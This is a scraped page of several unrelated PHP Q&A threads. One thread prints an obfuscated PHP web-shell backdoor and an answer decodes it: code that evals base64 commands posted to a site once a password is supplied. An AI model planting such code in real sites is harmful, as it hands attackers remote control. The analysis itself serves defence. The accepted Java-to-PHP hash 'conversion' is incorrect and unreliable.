Covert the JAVA function to PHP [closed] - php

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 5 years ago.
Improve this question
Below is the java function. I want to this function on php.
public static String getPassword(String spId, String password, String timestamp)
{
try {
String dgStr = spId + password + timestamp;
byte[] enc = MessageDigest.getInstance("SHA-256").digest(dgStr.getBytes());
return new String(Base64.encodeBase64(new String(Hex.encodeHex(enc)).toUpperCase().getBytes()));
} catch (NoSuchAlgorithmException ex) {
ex.printStackTrace();
}
return "";
}
Already i have used a code see below,
base64_encode(hash_hmac("sha256", $spPassword, true));
Is it valid? If not then please suggest me.

The exact conversion of your Java function is:
function makeHash($spID,$password)
{
$timestamp = time();
return hash('sha256',$spID.$password.$timestamp);
}
Use it like:
echo makeHash(12,'password123');

Related

Count rows with model::count laravel [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed last year.
Improve this question
I am trying to count the records in the table, but it's showing me nothing in the response, I am working on an API, can anybody help please ?
public function devicesCount()
{
$x = Device::count();
if ($x) {
return ['devices' => $x];
} else {
return ['message' => 'ranii karrezt ydyyyyyyk'];
}
}
use $x = Device::all()->count(); in place of $x = Device::count();
or use Laravel Aggregates like
$count = DB::table('devices')->count();

Php Function Variable - Malware File [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
Just a quick question....
I found a malicious file on a site (since removed) but I'm wondering what it's doing. Below is the code, any insight would be greatly appreciated.
function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"#$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} #_g1qm0();
}
This code is not complete but from what I've decoded it is:
$log = 'prt';
if (!isset($_SESSION)) {
session_start();
}
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {
if (isset($_POST['mtq'])) {
$pt = base64_decode($_POST['mtq']);
eval($pt);
exit;
}
}
if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) {
$_SESSION['log'] = $log; exit;
}
So in simple words it looks from mtq param from POST request and executes it in shell. Data comes in base64 encoded format. It also stores one variable in session on key log
Also
$_myfunc2 = "\x63\x68\x72"; it is decoded to chr which is function in PHP that returns character based on ASCII code.
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
looks like md5 hash but I'm not sure
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
It is $_g1qm3 is strrev function
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
It is base64_decode()
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
It's preg_replace()
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")
It's eval()

"\u00e1n" to "á" in PHP [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I am receiving an external file with strings, I have no control over that file but I receive special characters as this (i think it's unicode?) sequence \u00e1n.
Is there anyway to convert this kind of char sequences to their "readable" counterparts?
Thanks!
EDIT:
I am calling a url that gives me a list with names of persons:
Tom\u00e1nsson\n
Eriksen\n
Gilverto\n
I am reading the names and showing them in my site.
EDIT
Now, I've figured out the correct, working answer based on the article I found. Here is it:
function unicode2utf8($str) {
$a=json_decode(str_replace("\n","<br>",'["'.$str.'"]'));
return str_replace("<br>","\n",$a[0]);
}
PHP:
echo unicode2utf8("Tom\u00e1nsson\n Eriksen\n Gilverto\n");
Output:
Tománsson
Eriksen
Gilverto
ORIGINAL
I've found an article about the same problem here ( http://www.welefen.com/php-unicode-to-utf8.html )
The solution is the following function
function unicode2utf8($str){
if(!$str) return $str;
$decode = json_decode($str);
if($decode) return $decode;
$str = '["' . $str . '"]';
$decode = json_decode($str);
if(count($decode) == 1){
return $decode[0];
}
return $str;
}
I've tried it with
echo unicode2utf8("\u00e1");
Output:
á

Php Calculating two functions [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
I am writing a program in which I want to plus two functions together and in the end I want to calculate the total. if anyone can help with this it will be appreciated.
const PRICE_OF_Big_Mac = 2.50;
public $Big_Mac = 0;
public function calculate_dinein_price(){
$dine = 0.00;
$dine += $this->Big_Mac * self::PRICE_OF_Big_Mac;
return $dine;
}
public function calculate_dinein_total(){
$total_dine = 0.00;
$total_dine = $total_dine + $dine;
return $total_dine;
}
but this doesn't work.
You can't access $dine in your second function because it's nowhere defined. The $dine from your first function is only a local variable.
I would suggest this solution which uses the fact that calculate_dinein_price() also returns the value of $dine:
public function calculate_dinein_total(){
$total_dine = 0.00;
$total_dine = $total_dine + $this->calculate_dinein_price();
return $total_dine;
}

Echoing JSON array in PHP [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
After trying for a long period of time I am a bit stuck... I want to echo a value (url) in a json array with PHP and get it into a variable.
PHP:
$coverphotos = $facebook->api('http://graph.facebook.com/' . $album['id'] . '/picture?type=album&redirect=false&access_token=' . $access_token);
JSON:
{
"data": {
"url": "http://photos-c.ak.fbcdn.net/hphotos-ak-ash4/480080_567808343263483_176928672_a.jpg"
}
}
I want to get the actual url into a php variable... how would I go about doing this?
HOLY THAT TOOK LONG ENOUGH BUT I FIGURED IT OUT:
$coverphotos2 = $coverphotos['id'] . '?type=album&redirect=false&access_token=' . $access_token;
$content = file_get_contents($coverphotos2);
$photoarray = json_decode($content, TRUE);
$coverurl = $photoarray['data']['url'];
From the $coverphotos variable, you can store the URL of the picture with:
$picture = $coverphoto['id'];

Categories